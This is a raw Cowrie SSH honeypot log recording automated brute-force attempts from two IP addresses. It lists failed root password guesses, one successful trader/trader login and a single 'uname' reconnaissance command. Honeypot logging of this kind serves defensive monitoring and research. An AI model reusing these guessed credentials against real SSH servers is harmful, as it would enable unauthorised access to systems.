{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:32.514394Z","src_ip":"2.57.122.208","session":"60d2e3f1ff20","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:32.517089Z","src_ip":"2.57.122.208","session":"60d2e3f1ff20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":33284,"dst_ip":"10.17.0.5","dst_port":22,"session":"a1e2b2431bc8","protocol":"ssh","message":"New connection: 60.165.124.241:33284 (10.17.0.5:22) [session: a1e2b2431bc8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:32.575191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:32.581813Z","src_ip":"60.165.124.241","session":"a1e2b2431bc8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:32.834313Z","src_ip":"60.165.124.241","session":"a1e2b2431bc8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin6666","message":"login attempt [root/admin6666] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:34.272516Z","src_ip":"60.165.124.241","session":"a1e2b2431bc8","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"trader","password":"trader","message":"login attempt [trader/trader] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:34.533326Z","src_ip":"2.57.122.208","session":"60d2e3f1ff20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:35.520544Z","src_ip":"60.165.124.241","session":"a1e2b2431bc8","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:35.675185Z","src_ip":"2.57.122.208","session":"60d2e3f1ff20","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:35.678594Z","src_ip":"2.57.122.208","session":"60d2e3f1ff20","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":36872,"dst_ip":"10.17.0.5","dst_port":22,"session":"5fa264e8be31","protocol":"ssh","message":"New connection: 60.165.124.241:36872 (10.17.0.5:22) [session: 5fa264e8be31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:35.748629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:35.753952Z","src_ip":"60.165.124.241","session":"5fa264e8be31","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:35.991629Z","src_ip":"60.165.124.241","session":"5fa264e8be31","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.4","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:36.107191Z","src_ip":"2.57.122.208","session":"60d2e3f1ff20","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:36.111123Z","src_ip":"2.57.122.208","session":"60d2e3f1ff20","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zip","message":"login attempt [root/zip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:36.709458Z","src_ip":"60.165.124.241","session":"5fa264e8be31","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:37.953230Z","src_ip":"60.165.124.241","session":"5fa264e8be31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":39954,"dst_ip":"10.17.0.5","dst_port":22,"session":"40dcf60f94bd","protocol":"ssh","message":"New connection: 60.165.124.241:39954 (10.17.0.5:22) [session: 40dcf60f94bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:38.184209Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:38.187902Z","src_ip":"60.165.124.241","session":"40dcf60f94bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:38.426228Z","src_ip":"60.165.124.241","session":"40dcf60f94bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ojy0@g4pLm","message":"login attempt [root/ojy0@g4pLm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:39.139623Z","src_ip":"60.165.124.241","session":"40dcf60f94bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:40.378796Z","src_ip":"60.165.124.241","session":"40dcf60f94bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":42564,"dst_ip":"10.17.0.5","dst_port":22,"session":"d4b0a2bd590c","protocol":"ssh","message":"New connection: 60.165.124.241:42564 (10.17.0.5:22) [session: d4b0a2bd590c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:40.611653Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:40.617029Z","src_ip":"60.165.124.241","session":"d4b0a2bd590c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:40.854228Z","src_ip":"60.165.124.241","session":"d4b0a2bd590c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"PMGS**56$wx*%*St","message":"login attempt [root/PMGS**56$wx*%*St] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:41.574270Z","src_ip":"60.165.124.241","session":"d4b0a2bd590c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:42.817503Z","src_ip":"60.165.124.241","session":"d4b0a2bd590c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":45604,"dst_ip":"10.17.0.5","dst_port":22,"session":"e65e641a5620","protocol":"ssh","message":"New connection: 60.165.124.241:45604 (10.17.0.5:22) [session: e65e641a5620]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:43.059494Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:43.065957Z","src_ip":"60.165.124.241","session":"e65e641a5620","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:43.311923Z","src_ip":"60.165.124.241","session":"e65e641a5620","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234@abcd","message":"login attempt [root/1234@abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:44.061520Z","src_ip":"60.165.124.241","session":"e65e641a5620","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:45.302974Z","src_ip":"60.165.124.241","session":"e65e641a5620","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":48432,"dst_ip":"10.17.0.5","dst_port":22,"session":"d6f3b4ed4147","protocol":"ssh","message":"New connection: 60.165.124.241:48432 (10.17.0.5:22) [session: d6f3b4ed4147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:45.542194Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:45.547438Z","src_ip":"60.165.124.241","session":"d6f3b4ed4147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:45.797158Z","src_ip":"60.165.124.241","session":"d6f3b4ed4147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Info@1234","message":"login attempt [root/Info@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:46.542030Z","src_ip":"60.165.124.241","session":"d6f3b4ed4147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:47.799310Z","src_ip":"60.165.124.241","session":"d6f3b4ed4147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":51262,"dst_ip":"10.17.0.5","dst_port":22,"session":"d87e25afb8ed","protocol":"ssh","message":"New connection: 60.165.124.241:51262 (10.17.0.5:22) [session: d87e25afb8ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:48.027754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:48.032447Z","src_ip":"60.165.124.241","session":"d87e25afb8ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:48.275374Z","src_ip":"60.165.124.241","session":"d87e25afb8ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ff123","message":"login attempt [root/ff123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:49.008520Z","src_ip":"60.165.124.241","session":"d87e25afb8ed","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:50.260010Z","src_ip":"60.165.124.241","session":"d87e25afb8ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.165.124.241","src_port":54248,"dst_ip":"10.17.0.5","dst_port":22,"session":"3f2c67e33a2f","protocol":"ssh","message":"New connection: 60.165.124.241:54248 (10.17.0.5:22) [session: 3f2c67e33a2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:50.503957Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T00:44:50.508426Z","src_ip":"60.165.124.241","session":"3f2c67e33a2f","protocol":"ssh"}
